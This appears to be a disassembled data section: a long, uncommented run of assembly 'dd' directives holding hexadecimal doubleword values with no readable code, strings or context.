		dd 2BF1009Dh, 0BA68E773h, 7500281Fh, 93E8A663h,	0A550BA2h
		dd 0CCD5F869h, 0B00680D4h, 14FEFC4Ch, 8C598728h, 0E4001498h
		dd 781316D9h, 7B644h, 8071DDF8h, 0B2C875BCh, 66728A18h
		dd 1203CE31h, 90DE10h, 62581633h, 270F45E8h, 0C7E7A16Eh
		dd 0D3770F0Ch, 514BC0E0h, 83810064h, 0DBCEB5E1h, 1800925Ch
		dd 67E688BAh, 0FEA25Bh,	8459F954h, 5E6BB2C1h, 0AC47C328h
		dd 20E3800h, 0BCC076F3h, 82B500E5h, 79916243h, 0CE00B08Bh
		dd 6D28F4D3h, 793B3887h, 8DA1005Ch, 66C6AEACh, 0E800D931h
		dd 2E4F37BDh, 7CC2B264h, 58063036h, 9CFBDB10h, 9AE69D00h
		dd 418C6A23h, 408200C0h, 0B3D58730h, 5E00CD57h,	0E6526503h
		dd 1317A7D8h, 0C0DEB975h, 5499B5A0h, 0DB0280F8h, 0FA9010FFh
		dd 8755E0A6h, 206D00D2h, 0D64D9AB6h, 0BB0004CDh, 228C513Dh
		dd 6C76C4h, 0CCC9EEC1h,	0EA826ABh, 2309AC00h, 9AA9D11Eh
		dd 5B4F0E17h, 5EE09C9Eh, 33D3C7BFh, 0DE267101h,	6E01498h
		dd 7B2960h, 50BDF2F1h, 1EBA11AEh, 0CE99DE00h, 620F3715h
		dd 3847002Ch, 167D24D2h, 0F1008892h, 2AA48B80h,	3583AD7h
		dd 0D3DAD0C6h, 64A00FF5h, 0F000FD0Ah, 7921ADC7h, 6A0937h
		dd 9B495D11h, 2B2F8517h, 6C954A00h, 8203B67Fh, 0F3730041h
		dd 0C04C391Fh, 8D0934C9h, 90424756h, 0DCCC38h, 5D887C20h
		dd 37C6F466h, 0B632BF00h, 0F067B7E1h, 74D10462h, 0E4AC2430h
		dd 0E800C714h, 261CC90Dh, 9673A5Ah, 9BCA3DC8h, 70C52880h
		dd 0D939E10Fh, 0D77497A7h, 3C27800h, 0D34608h, 1FC175E0h
		dd 64964DCAh, 23013C05h, 39C039C0h, 35D5ADDh, 0BDA72442h
		dd 0F4A89DA3h, 2503AC7Ah, 0E879758Eh, 0D9A0C06Eh, 0B81600E3h
		dd 7FE4A7DAh, 0A890C6F7h, 59708800h, 0AB814B71h, 4E41006Fh
		dd 0B851BE5Bh, 19009F57h, 6B938216h, 8AECB3h, 0F2C663FFh
		dd 541C3A6Fh, 9FE03F79h, 0F7844200h, 92BDB3B4h,	5F2D0057h
		dd 0D163CF8Ch, 7000791Ch, 2F518B7Dh, 5A3AC9h, 0C1023EE5h
		dd 5F058E28h, 0B1663Bh,	8CBF7B6h, 58AA8DE4h, 0D6380435h
		dd 56C000FFh, 5EB51EBBh, 0BA0107F1h, 0D637B33h,	0B2D4765Dh
		dd 90230095h, 0D81489A8h, 0C37B5739h, 0F26B6F00h, 0DF27B54Bh
		dd 9F90010h, 0D1463122h, 73283265h, 0D8FEC850h,	0C3B2E800h
		dd 0C6B34521h, 0B69E013Ch, 0EB15FD42h, 0CC1DF47Ch, 0D3BB3504h
		dd 0A1C1A3A1h, 0F6EC8194h, 0EA0D0050h, 0A8B610C1h, 0D2489E17h
		dd 0D05C08B4h, 331B01E8h, 602C130Eh, 0E902FFC3h, 0E071F076h
		dd 22C480B0h, 9E973D93h, 8A1D0020h, 0BA87F261h,	1F0AB100h
		dd 64E08CCCh, 0E8716Ah,	0C28F1391h, 44163239h, 9570AC00h
		dd 63E5EE8Bh, 3600030h,	0BE89A925h, 3C07178Fh, 0A4681C98h
		dd 0A5D55647h, 8729B9C0h, 0B3A8C016h, 6557C660h, 310F26F0h
		dd 30E4FFh, 425A032Ch, 814F00E0h, 7473B0BBh, 7B00A162h
		dd 30316BD2h, 0F76F777h, 0DE413BD9h, 1DE4C400h,	6FE42A39h
		dd 81B0BA25h, 0DAD1A5B0h, 0BF00883Ch, 770FB691h, 189C36BAh
		dd 0C01C3000h, 5E9FECh,	6285C5BEh, 0FC9B8D82h, 9407DBE8h
		dd 0F07D73D5h, 0CFBD80DEh, 3DE0B378h, 2F8092DAh, 8D458A99h
		dd 86001C76h, 2C20D523h, 9CB48Fh, 9E7C136h, 757BDF83h
		dd 3FE1EC00h, 0A279F299h, 6D8B006Ah, 727E558Dh,	7803114Bh
		dd 0EC537A09h, 2AA9F0FBh, 0F2F3005Fh, 3D277096h, 48030799h
		dd 0BDCA5A5Bh, 0C09FAB26h, 27949FAh, 86523F23h,	9C806C47h
		dd 0DA546BD7h, 22392700h, 3E435BF0h, 0F596032Ah, 9AD59E6Ah
		dd 0C4812B8Ah, 0F8356F99h, 0E13D882h, 2881FA91h, 0DCDC0596h
		dd 36D076Bh, 0E03C7DB7h, 0C87C0448h, 3924554Ch,	51B98178h
		dd 1AB394Fh, 10CC220h, 62E372D2h, 92530DBDh, 0A4017036h
		dd 0FC1B518h, 17B05EDCh, 40EC7ADFh, 1FD78E68h, 0E70039E9h
		dd 581A7549h, 0F4EF335h, 0E8DBD61Ch, 0DEFA10C1h, 6488D412h
		dd 8B1A5539h, 75BD399h,	456039B0h, 7637E8h, 0B99189EAh
		dd 75431E98h, 0F7D75700h, 0C786191Ch, 0E3AF01E5h, 5DBED5D4h
		dd 0B38287Fh, 0B92F20h,	660C05E9h, 5825389Fh, 8E9A9503h
		dd 94B8A2F5h, 3A2E840Fh, 0A301745Bh, 0B9A64985h, 0D231D0h
		dd 3688EB90h, 0DFB13C3Ah, 2BD00C00h, 83261D0Bh,	2AA7009Fh
		dd 0D22DBBCh, 57028AF6h, 0D4874705h, 56C487D7h,	95DC890h
		dd 5B3E3C34h, 60C5A913h, 43DF2E98h, 157EBB1Dh, 454AF00h
		dd 0A2E146h, 2C8B9282h,	0AA34A624h, 87AE561Eh, 5557E800h
		dd 1C33979h, 0DEAF3009h, 609D2F44h, 0AC7C6ED0h,	28FDEC0Dh
		dd 83EC0AEBh, 46E53F36h
		dd 3C2F5C81h, 0C87A210Fh, 0D907F0A3h, 0AF1C0991h, 148077B9h
		dd 0E8809234h, 0A0E44BCh, 0B8BF20h, 0E212C1A4h,	3349540h
		dd 1385D1ADh, 0D8F9B0B2h, 7071E1BCh, 0FE002B3Ch, 0CB32A775h
		dd 0E08CD27h, 0B33AE4E6h, 0B15BCCC7h, 72254E71h, 293DE0E4h
		dd 11CE00ADh, 0D923D145h, 4802641Fh, 2C9095A9h,	536A60AEh
		dd 0C42E0E6Eh, 805D63C9h, 0CD9CF2B2h, 0CE2E6095h, 0BA0FA0B7h
		dd 973260FCh, 40DB1A6h,	0D70E3427h, 7CB2DAh, 0C287D864h
		dd 4C6B9E2Bh, 47009480h, 0CBAF9DA4h, 44FAFAB1h,	41435D01h
		dd 50A2F29Eh, 1C74BF8h,	6ADF7C82h, 0BD3089A0h, 0A2BF1770h
		dd 2626E09Ch, 807CE312h, 0D6853A9Dh, 1A095D55h,	5165A6h
		dd 0A4C5F9ACh, 94BD00D5h, 0D2206168h, 827EB4A0h, 1A213300h
		dd 7BB9D8F4h, 0F6CB034h, 0BB689DA5h, 8E191200h,	0A092B27Eh
		dd 4E2BE90h, 0E050B5h, 37EACCBBh, 21A528E0h, 0D053200h
		dd 506F63DCh, 0FF411ED8h, 0C0F55D83h, 3E224559h, 64009F17h
		dd 0AD93DAF2h, 0E69C39h, 0A99E999Dh, 0C2400D08h, 0A0DE7600h
		dd 5D8BA11Dh, 52F000EDh, 0C653B2AFh, 5F0390EBh,	8954A632h
		dd 0C161F812h, 3E100F34h, 0FB803C58h, 50727356h, 57A56A00h
		dd 0EC31872Eh, 0AFFF0065h, 2BBC14E5h, 0C0003653h, 2E3C7AEAh
		dd 78A663E6h, 94521CC1h, 0B88C02Dh, 0C66A2B1Eh,	0B58B1214h
		dd 1517008Ch, 99A23A05h, 796504FCh, 81D16419h, 7181AFCEh
		dd 9D7EF4ACh, 7502597Ah, 0DFA842B3h, 489870EBh,	0E201887Ch
		dd 0C3518736h, 3A75D88Bh, 410C62F2h, 4868630Ah,	0D27F0101h
		dd 0D6542B9Bh, 0D0A9ED56h, 0B500EA46h, 86E94882h, 139EF150h
		dd 7F518CCh, 904C72FBh,	74BEEAA3h, 0DE78A0E0h, 1702A40Eh
		dd 480216AFh, 0E1EB9AF7h, 0AD0F82Ch, 70B09Fh, 0CFE7D028h
		dd 55FD7BD2h, 0EEC31816h, 6F46C000h, 72A07903h,	13349A3Ah
		dd 5DBC77h, 9E911D3Eh, 9F00A146h, 4BBCD1Ah, 174FC7D3h
		dd 47F22A09h, 13C372E4h, 19B0CBB0h, 97A0AB8Ch, 0BFF28F97h
		dd 4827DE18h, 0B0CEE9h,	7161C73Ah, 0A8BC3F1Ch, 7EE59E02h
		dd 4115ADB8h, 0CEC06316h, 0D00960D2h, 850510EFh, 0D41D907h
		dd 0E484593Ch, 0C5F11CE0h, 0FA8291E8h, 3DE580C0h, 2B9C0088h
		dd 8328857Bh, 3409C7BDh, 17CF4BFh, 0B508E334h, 0ABEBC0h
		dd 6B4A07AAh, 0F31ABBD6h, 4F3BF70Eh, 1080A093h,	0BE169175h
		dd 186E80A0h, 7B55021Eh, 2A088F00h, 16897EAh, 7EC50E38h
		dd 45C0F1D5h, 98BC60D4h, 0EA124272h, 0AF504Ah, 0D33E278Bh
		dd 5F0025A3h, 0B579ADF9h, 8A312Eh, 0CB20F549h, 9887D14Dh
		dd 0E81B9F07h, 97503973h, 0AE1A3h, 3B5B6984h, 2B5EB6E3h
		dd 0BA99CE00h, 55D83852h, 0DA422E93h, 9A07003Dh, 0B9FA5BCAh
		dd 5809044Ah, 0B31D00E4h, 1273101h, 7CDFFB94h, 30567248h
		dd 2901B557h, 1410866Eh, 0E43024C5h, 3D36004Ch,	43535E68h
		dd 80F9455h, 0C03B3113h, 4773AE29h, 0EE6A02CEh,	0EDE643BCh
		dd 0CC7D5140h, 5DF29A07h, 0DDD0E811h, 0E0533BE7h, 0F46900E4h
		dd 9CB75CE6h, 79175EA5h, 70C08D7Fh, 7D7A936h, 0C40D7B66h
		dd 5D5350BCh, 7DFAEB1Dh, 0E3702CC0h, 5C93F2Eh, 0EFE4F593h
		dd 0B37AC013h, 7100ADABh, 36F41F73h, 825795h, 500728C6h
		dd 0A622704Eh, 0BDEFEB00h, 85A0725Ah, 1ECD00ABh, 0C469677Dh
		dd 4400B37Bh, 2376E5Bh,	0C03A79DEh, 0B92B8F30h,	1A702AC3h
		dd 0CF64E801h, 42910C39h, 0FE9620h, 48CE3843h, 0FFAE5E9Fh
		dd 5D118C00h, 0CAE31564h, 58D67DA7h, 0CE06E8D0h, 0EA561D82h
		dd 68A9AB00h, 85AC512Bh, 0A0C7483Dh, 12380226h,	73780F55h
		dd 6E280FCh, 7F6C20C3h,	9BABE100h, 33053AE3h, 0DC640049h
		dd 0D2482D65h, 8700A2F1h, 0BF91BB89h, 0E8DD71E7h, 52EC08h
		dd 685FA964h, 56D2AFF8h, 12139700h, 9B7ED577h, 0DC0BF8DCh
		dd 36104440h, 3C26C08Eh, 74004447h, 0D203FEA5h,	0E7C7A4h
		dd 0EDEC7675h, 90B4B72Bh, 8CF23Ch, 26F5E1EAh, 0D5C74Dh
		dd 7F270C51h, 2F3C15FDh, 4E802013h, 84389Ch, 8A0AEF64h
		dd 0BDEAEBB2h, 6F793B01h, 0D6761DCAh, 163796E0h, 3008671Ch
		dd 94026A3Ch, 3FD93D1Fh, 3B0F7E9Dh, 76BFC733h, 41F61FC0h
		dd 2F689ADDh, 0DC0063EFh, 40937BC2h, 0EAF8D30Eh, 3E2438ABh
		dd 0F1440E8Ch, 4B20350Eh, 24FCE826h, 57923F00h,	161B3145h
		dd 0B6B8003Dh, 0E0A25586h, 0C60E0636h, 84B1918Ch, 0FDC00366h
		dd 5FF5AEh, 7B481C59h, 0BEBC808Ah, 0FC4BDF77h, 50C58488h
		dd 731F23Dh, 3A2A51DCh,	7EF36039h, 30070E2Fh, 78822814h
		dd 68134860h, 0FB341CA0h, 316A007Bh, 1B84C3A2h,	0B61E6F00h
		dd 6682B9D4h, 0C22900B3h, 0A2E306C4h, 2401F8D6h, 677199FBh
		dd 4703222h, 7FEFCCDh, 0DACC8F5Dh, 0E7633155h, 4002A9Ch
		dd 12D9BB30h, 59283907h, 0A8D4A4h, 0DF53CC75h, 563DC5DCh
		dd 72E68F1Eh, 640912C7h, 0BA100129h, 803B9928h,	8B7F817Eh
		dd 163B7904h, 3E807221h, 72449AA4h, 0D88E00CBh,	3E11CF18h
		dd 2F6B5C9h, 0EAF7C400h, 0BD2B1CC8h, 6D405C92h,	0DCAE6D1Eh
		dd 138C7E2h, 8FBAC0B2h,	0AF00265Ah, 74CFA53Eh, 0E5E143h
		dd 0A3377188h, 0D6340313h, 5BA6C800h, 0FFF5707Ah, 17C676B5h
		dd 75D17Ch, 8B06A8B7h, 8607909Ch, 0D2ED63B2h, 0EE847840h
		dd 56D3002Ah, 0D78B2C45h, 64005358h, 2EF0BE52h,	15F3E699h
		dd 0ECA888C2h, 4F8BC108h, 0C07071C9h, 5F398EBCh, 82DB4504h
		dd 40805318h, 46886Ch, 8137F9D0h, 5EA7E8C1h, 0C5F55C0Fh
		dd 0DA00D318h, 0EE90A5BEh, 0C87300CBh, 0E313F0FCh, 0EC004E16h
		dd 7450DFB5h, 71C4AEF1h, 6EA40099h, 57C9ADDAh, 9573A606h
		dd 5EBC7C09h, 42878F3h,	0F2C2E12Fh, 0FBAF051Ah,	8688C840h
		dd 2D79845Bh, 38012A8Ch, 0C8C4086Eh, 5500ED9Bh,	0A4F0C3D2h
		dd 0ED013h, 0D145A6D5h,	3C823FFDh, 5BD26C0Bh, 0E2CACE1h
		dd 85E400A4h, 0BB595024h, 0AF074902h, 5DF48B84h, 0E9B727B0h
		dd 5F4007A6h, 72C8FABAh, 80F38288h, 6C164992h, 0A5414040h
		dd 2F9032Ch, 5AEE9C3Dh,	4AE2B010h, 0E9DDB800h, 0A600B280h
		dd 17BEB3F6h, 4C449274h, 0A907A00Bh, 803A514Ch,	0C23E2A8h
		dd 0A2BEBF00h, 0F55EC503h, 0F7BFE8Ch, 0C89BECC0h, 0CB470220h
		dd 0C2B8A2F2h, 7115240Ch, 1D1DAAEAh, 1E835933h,	0AC2A0055h
		dd 0C4965887h, 7743B307h, 0DB00D96Eh, 49EB79h, 7E026410h
		dd 0E1EC9050h, 4CF84707h, 2E70D706h, 1EC85F4Eh,	0C7123B93h
		dd 701EC063h, 25771843h, 0C1A881Eh, 2940E75Eh, 0C9E552A5h
		dd 71FB00ADh, 0B70BE090h, 1D00A08Ah, 5DCB57DFh,	3D1CA1AEh
		dd 0A005A31h, 0F153D0F8h, 2924B82Eh, 71056772h,	90C00174h
		dd 3F664Dh, 4EAAB569h, 45AE1099h, 0CA3E9D0Eh, 47DF43A3h
		dd 0A696D8FDh, 0D8CF00A1h, 64B10435h, 0B698F267h, 0D7412C00h
		dd 778AB386h, 7D0C00CEh, 29593008h, 0CF00CAFCh,	661E4D45h
		dd 98F717A2h, 0AEF80939h, 2A8013AFh, 592CE610h,	65117B00h
		dd 42AA815Dh, 0D99D0038h, 2A3773EAh, 240FAB6Dh,	0C0C92E07h
		dd 14567F87h, 705412B5h, 0BEC70036h, 62EF2648h,	0FDCD1200h
		dd 6FFB0D9Ah, 611105DCh, 14F6F767h, 2300A8D1h, 0C42B3ACBh
		dd 0C01C21E4h, 0DF001873h, 9A1601C8h, 0A38600AFh, 83CCECA7h
		dd 4B0F8F02h, 0E0E2E9E4h, 5819F740h, 22D300CFh,	1FCEA736h
		dd 3F023D1Bh, 79715662h, 0A492602Bh, 481E0096h,	9737422Eh
		dd 173A9B18h, 0E982007Ch
		dd 101ADAE4h, 0EB47Bh, 9B7F71B1h, 9F03112Fh, 0C09D1B69h
		dd 2506B118h, 9E2CB828h, 0E0101843h, 0F09A24Fh,	0C2163558h
		dd 0A776607Ch, 78800053h, 0A58FD3C8h, 9B00061Ah, 0B49218B9h
		dd 0E282ABB2h, 0FC3E0445h, 0C089504Ah, 6ADA1A60h, 1D00B8B4h
		dd 6D02DC9Fh, 0EBE0B540h, 9E18148Bh, 0EB20D9D8h, 0C320F208h
		dd 0FFB95038h, 8F794688h, 0D72BE500h, 1D248610h, 0B3AA39CBh
		dd 51E7950Dh, 92FBD069h, 8D7DF90Ch, 7B51DAh, 0F7CEC64Fh
		dd 8872D087h, 66FBA13Ch, 530FCC1h, 5CCFF80Bh, 9A0C03FAh
		dd 40002798h, 75443B7Ch, 1ECA82h, 1048A474h, 146016CEh
		dd 2625170Eh, 0CB54A0D9h, 58DFF48Ah, 0F00B220h,	0ED49BE34h
		dd 0E2EAE0DBh, 1900C975h, 0A15D68D9h, 5CC2797h,	37A75BBh
		dd 72C7C063h, 930F5884h, 1C568315h, 0E2665583h,	1CE888DAh
		dd 71FD002Ah, 9F3902C5h, 5C00F5FAh, 0B3A3FE59h,	0C44E8Dh
		dd 954D4880h, 0CA8A77Eh, 68728400h, 0A992DC2h, 7F20095Ch
		dd 7A007991h, 0B58E966Eh, 0D5F52600h, 7D3D6CFAh, 0BBFB00ACh
		dd 71A8F848h, 2A00AD24h, 9225B251h, 648A2Dh, 1F5C805Eh
		dd 0ED656216h, 0B4308100h, 262BAA59h, 6E760A40h, 2F8F3BAh
		dd 0CD24CF5Ch, 0A5BCA482h, 6385049Fh, 0F0001EE3h, 0EBD65378h
		dd 4FF00E8Ch, 0C07FA42Ah, 98BC0185h, 22004EFBh,	5E68038Ah
		dd 0FDA3CEh, 6D84E227h,	2CE95F05h, 0FA899400h, 829DF8DFh
		dd 0EBA200C8h, 133B5BD1h, 1095BBCBh, 6A9D0Ch, 43297FACh
		dd 5BFD18Eh, 38021D4Eh,	0E3F83FAFh, 1085E01Bh, 67F106FBh
		dd 0B806FA07h, 0A9E39701h, 3B7F801Ch, 5C3EA02Bh, 7D84B00h
		dd 0EA0EB050h, 7C24004Dh, 93D50DA2h, 6F13C341h,	0ED079EE9h
		dd 16F01C13h, 0DF3CC2h,	4853FB3Bh, 0C8B621B2h, 43874707h
		dd 0E0AEB011h, 6B12DC3Ch, 494A008Ah, 8185987Eh,	0B60061E9h
		dd 9CE29110h, 6C84347h,	0CC63CBAAh, 0B800780Ch,	0B1245A71h
		dd 24389E32h, 0B8D022DFh, 7984BCAAh, 0B45158C8h, 0DACEBF00h
		dd 4B4F72B8h, 632A0D25h, 89C0F430h, 3DD5918Ah, 0DE80E77Eh
		dd 18B19F2Fh, 0F0E62CBh, 40545D57h, 270E4265h, 283E281h
		dd 4FFE235h, 0DC809FC6h, 2371EB6h, 8BCFD500h, 32AAAE7Bh
		dd 1C19FFFh, 0AD05D8D9h, 0A700B8B8h, 0FD8C07CDh, 51FC6Eh
		dd 76AE7826h, 0E6E2E554h, 0D1D5B000h, 20E45BFEh, 0C9231E30h
		dd 0C24CC307h, 0B3C30105h, 33CE46F8h, 0C1D9E000h, 0F58BC658h
		dd 0B09A05B6h, 0A096F75Ch, 8A006088h, 1802132Fh, 71D6B9Ch
		dd 0B5C6E77Fh, 2C462070h, 4400E47Ch, 4ADEF660h,	3921DB5Ah
		dd 0F100C5FFh, 326A86E7h, 0F800D780h, 73E827DFh, 587CD6EDh
		dd 8C00542Eh, 225EA9D2h, 0D12595CCh, 129C60F9h,	13250124h
		dd 7B4042C7h, 0E250F8A9h, 8D3A1E00h, 8ADD6905h,	28800F10h
		dd 43E0D734h, 0F57E536Bh, 0E6D54100h, 7B8A774Ch, 51E03AA2h
		dd 12631EFEh, 0FD2341E5h, 71259A14h, 2828682Ah,	0D324E089h
		dd 0DC80705Ch, 0BC0DEC3h, 0AB0502C4h, 9EED937h,	8287CDCh
		dd 0BC7AAA00h, 0C50BCD06h, 40DEFAAEh, 0C62E177Eh, 38801454h
		dd 232A9228h, 955B7Ah, 633AB290h, 200C4B3h, 0E26CD1EDh
		dd 0ECABBCh, 0A2E33BB9h, 4F0531Ch, 5F845D00h, 8D120757h
		dd 6037014Fh, 509C2E1Bh, 0CAE4602Fh, 45BA200Bh,	93A70036h
		dd 105C197h, 347E7BF2h,	0F4CDE8D1h, 95056F78h, 8A2A642Dh
		dd 65688380h, 491B0F3Fh, 6C822C13h, 0F260F10Fh,	3471C730h
		dd 1461D61Dh, 0E58B9180h, 1F4FF278h, 51190Fh, 943A31FDh
		dd 0EF1E5837h, 8CC06EA2h, 0E2D8DD8Fh, 70AD00AFh, 0E80F153Eh
		dd 0F50057C3h, 3D6ED349h, 35A852h, 0D0D795BCh, 0E0CE3260h
		dd 530EED78h, 80D9305Dh, 0A5BD1939h, 476A2754h,	412764E8h
		dd 0A3505977h, 0F41F53D0h, 9700DCA9h, 0F29A5B29h, 0C18C3BA2h
		dd 80D75200h, 0F3F5E1EDh, 0A6183FEEh, 0F842FFAEh, 0A1320005h
		dd 0DA32F1Eh, 0A202E2DEh, 0AA7D7EA8h, 4A07E082h, 8864842h
		dd 0B3EE3509h, 5100A878h, 0D9443DC3h, 15B97F7h,	9E025983h
		dd 0DCD39680h, 0D4055123h, 8A0A4709h, 143024F1h, 5F455ABFh
		dd 4CB9C04Ch, 0FE92632h, 0AF881E24h, 9B246200h,	467F05h
		dd 3D0FB8Eh, 0D39C558Dh, 153D5B00h, 0E0AACA3Eh,	0A36D26A5h
		dd 7D560039h, 0F3BD3B2Dh, 6728D00Fh, 52CC20C9h,	7771991Fh
		dd 0DF871F1Ch, 68D0405Eh, 78B67063h, 938D638h, 7A22B048h
		dd 1C33F40Ch, 1FA475Dh,	0B717F283h, 378EE019h, 291F9E00h
		dd 0D88DE813h, 179174CDh, 0FB5367h, 0C55FB96Eh,	0F0071357h
		dd 7660FA90h, 0AA975B40h, 0D8920078h, 0B8334391h, 0B528E9D1h
		dd 0EE46EC15h, 69EC4E00h, 0B2E1A2FBh, 9FFDCE3Ah, 9DC0F509h
		dd 85B6E968h, 0BC410023h, 4C53B858h, 0AB246774h, 0BD046838h
		dd 0E0B8BA68h, 662B6B01h, 0C8D73A78h, 29242A87h, 190F505Ah
		dd 134160BCh, 194441Eh,	0B3BDD674h, 0CCADC2DAh,	4EC399Eh
		dd 0B7A06900h, 95F0F2EDh, 0BC3F004Ah, 515DBBD9h, 0AB0018F1h
		dd 68B0FD9Ch, 0E02C142h, 124BE928h, 76CDBCE0h, 8500A6EDh
		dd 0C85E1D3Eh, 3F39744h, 0CC2140EFh, 8200AEB7h,	669ADE78h
		dd 87C93Fh, 0D28186E9h,	2D9DBFECh, 20E0D0E0h, 0AF9BFD00h
		dd 6224E656h, 9C7E07BCh, 0C0A3DF8Bh, 2138AC26h,	1B19CB00h
		dd 0BBA0A5AAh, 0A64B1E31h, 5E694048h, 0FE4C765Ah, 33E61800h
		dd 4311A791h, 54E4B4h, 7AF6FB8Ah, 2AC6B94Ch, 73459200h
		dd 0C16598ADh, 241F1F03h, 473F0005h, 63EE8B9h, 0B6955F00h
		dd 0EC69CB46h, 1C050064h, 0AC6383D8h, 0A9015C5Bh, 0FAA5C144h
		dd 51E0B693h, 9FA40008h, 0B0C975B9h, 420727D3h,	0C064BFAAh
		dd 232BE630h, 6BA62CACh, 802E93E5h, 0B563A5F4h,	3E22AE00h
		dd 7B967675h, 27650314h, 74D26CCh, 4E193DFh, 78F5A8A8h
		dd 0A78E4400h, 94E4F00Ch, 68DA094Fh, 0B0623B66h, 0D998D0C0h
		dd 20481425h, 2EA361B0h, 0B1191BB5h, 0B4AB988Bh, 0E375F2h
		dd 30FDE2C0h, 234E4818h, 0CA8A10h, 3291D2AFh, 61F52624h
		dd 27F2C3FCh, 51570600h, 119FE58Eh, 63880060h, 0ABCCD9E1h
		dd 0D29050FAh, 0C900C4BAh, 733CDDC7h, 0BC76B2h,	8AC3FA45h
		dd 3F8DA97Ah, 88960307h, 0BE83FF0Ah, 687818FCh,	924398A7h
		dd 776090A2h, 220CA8DAh, 60A682BDh, 9598255Fh, 2839D819h
		dd 0E0488CF0h, 532204C0h, 878034C1h, 0E7818EDBh, 20563523h
		dd 0F73BAE3Dh, 0D840CABDh, 5797F02Ah, 4BB00002h, 0CBFD433Ah
		dd 14015515h, 9B3EB4DEh, 33E89A03h, 0B3872841h,	407FB6h
		dd 0F2D0840Eh, 44EF080Fh, 6C45E203h, 47B2A7h, 0EA2D467Eh
		dd 5E672E93h, 97E81D0Fh, 188A004Fh, 0D5B982h, 0BA342FFAh
		dd 0EBFBCB1Ah, 55CD8500h, 78DDBE4Ah, 0A2420071h, 0B541F946h
		dd 3CB6ABA3h, 0F6CE4B01h, 177ED67Fh, 0AB86FFCh,	0A4349122h
		dd 0F89ED109h, 292B0428h, 383A404h, 0D8B2250Dh,	75288CDCh
		dd 0A7CC09AAh, 6800B16Ch, 0F05E58CEh, 7DEAF50Bh, 0FADCE9h
		dd 0A03AA7B9h, 625CFE77h, 0DF1517E6h, 0B02410A4h, 726D019Dh
		dd 0DE2B6823h, 2711F8CCh, 2E003F77h, 1A8D4EE0h,	6D663Ch
		dd 18D3C07Ch, 0CBEED146h, 37DB9C0Fh, 4C8CE02Dh,	3D9B868Fh
		dd 0DE0026AEh, 0A86D94A2h, 47007ADFh, 0B61158D0h, 3F90CEh
		dd 0F49E2242h, 0D3DE4CF5h, 0AA20E00h, 4EA00748h, 44D20727h
		dd 4B729215h, 3200A4D8h, 4A095554h, 9C8838h, 5C46423Dh
		dd 7BF83C1h, 54A22424h
		dd 0D8CF298Bh, 0D29C1248h, 0EA8600C9h, 9314B22h, 0DB750F07h
		dd 0AF50EDA6h, 5DAD5ECh, 426BDEE8h, 4DB0C0E7h, 30008ED9h
		dd 0A421B841h, 1D7B3580h, 4342DBDEh, 706FCFAh, 0DCA2CCA2h
		dd 85289EBh, 0F37D3C38h, 0E85EDE2Eh, 0F71AE987h, 7C722AD0h
		dd 9BDF0032h, 43AEC1F0h, 8407FC47h, 35101FAAh, 9067F250h
		dd 8B4800ABh, 0A74E6F6h, 680014A4h, 0E1B5FB4Ch,	95629570h
		dd 0A7D38C80h, 3F0025BCh, 0DA99C113h, 0FA9E6Dh,	0BE6F1E70h
		dd 5EF12081h, 85A4980Fh, 84E26055h, 955A08h, 0B7E4D1D0h
		dd 0DFA94175h, 2019200h, 8CED9DDCh, 0F5B7169h, 779FA06h
		dd 621FF2E0h, 0DCE0FC64h, 9C012FF5h, 6DD37391h,	0D772DCh
		dd 1797334Eh, 0AD2EDAE2h, 0F13BB100h, 0AF916A8h, 0C99500DEh
		dd 7D0D1410h, 6F017986h, 0ED5EF4F0h, 0A1CCA0E4h, 9AC0A8CFh
		dd 27A10h, 0B103880Ah, 0FCC5D5DEh, 97778B00h, 1E4FD976h
		dd 0F5403B4h, 9EEAA49Ch, 20AA3825h, 0A35EC9F0h,	54B6C4h
		dd 14B9B3CCh, 63002C4Fh, 3BEF4BBBh, 9E9DCBh, 2DD5379Ch
		dd 13C07997h, 68F8B00h,	0E23DE650h, 0E34200D3h,	0C7E7EDC8h
		dd 521E43FFh, 0B2C57F4Eh, 0A980A27Bh, 4CCC9347h, 4D250432h
		dd 0B87EF060h, 0A5F25D78h, 50BA0905h, 0FA805C06h, 0FEC9F023h
		dd 194D3BF7h, 8DE9180h,	0E79C1F9Fh, 0FA81C00h, 8B3E6433h
		dd 0C30D05BAh, 0C0D15A6Fh, 3AD9230Dh, 0CB2CE712h, 0ADD8E0h
		dd 98533EEBh, 0BBC86E1Fh, 3B45BD00h, 0C7DEF888h, 92EAB85Ch
		dd 51C7ACCh, 521B60DDh,	5415C0E9h, 0AD0043D3h, 0FCE4A497h
		dd 1CBF5F9Eh, 0EF403CBh, 0B9E0120Bh, 94E875EAh,	410FBA00h
		dd 0B8B74B69h, 22E1006Ah, 3D0BB4F1h, 0F200896Bh, 0D2DF8AE5h
		dd 7E6F92Fh, 0E2A21975h, 4114030h, 5C00324Ah, 0B3455A64h
		dd 1DA6946h, 47DD95FCh,	0CC35CE76h, 860022D0h, 5634251Ah
		dd 642E4Eh, 0ECFD66C2h,	207F4DB4h, 29BDE307h, 50ECA28Dh
		dd 0ADA30C92h, 6C2472C3h, 90C62A00h, 4056FD98h,	3CC8008Fh
		dd 0A93A06E1h, 7E00D6F9h, 8923FEF3h, 0F2785EC1h, 0AC96501Fh
		dd 7653FA92h, 3EF082h, 0A93983CCh, 0BCD0BB38h, 0BE0EB09Ch
		dd 0BA7660A1h, 293533h,	5FCE8167h, 902C9D4Fh, 20730B13h
		dd 10EC4444h, 25059CE0h, 20425F70h, 0BB423A80h,	4E9581A5h
		dd 0B26E6F0h, 0BB9C1453h, 17009ADCh, 0B6CCBD98h, 7FCB3ED3h
		dd 946F488Eh, 44EA2821h, 95B06EEEh, 3C17004Fh, 0DA8D333h
		dd 31EE9EC9h, 2D749617h, 0CC1F6A00h, 257C6Ah, 0BCA2F1ECh
		dd 0FED04E17h, 456FB206h, 116CDCFh, 0F5A01E28h,	0CCBB8C62h
		dd 6A0087D5h, 569BCC48h, 996EE10h, 0DF37A2E3h, 0FE2F0F83h
		dd 248A7498h, 147AFD00h, 8F4296E9h, 9B2900D9h, 2D3FB250h
		dd 0B000CC80h, 9A32682Bh, 49D6A0h, 319F9E03h, 0B316A20Fh
		dd 2E43F201h, 0A3059729h, 6CBDCCh, 2DC2D747h, 0A27D8BD9h
		dd 0E054900Bh, 9ABC2074h, 0DF026Fh, 84DA0599h, 9F6BC460h
		dd 6D796498h, 98EC5625h, 9E1660h, 78442D07h, 506BE67Dh
		dd 32009990h, 89DB0449h, 15C7Fh, 25A63139h, 0D52B2760h
		dd 0FAE44A01h, 85F133E1h, 88025C7Ch, 208AFF4Ch,	0E8C8255h
		dd 0C020558Ch, 0A2BECB60h, 640FB926h, 0E6D24800h, 39708Fh
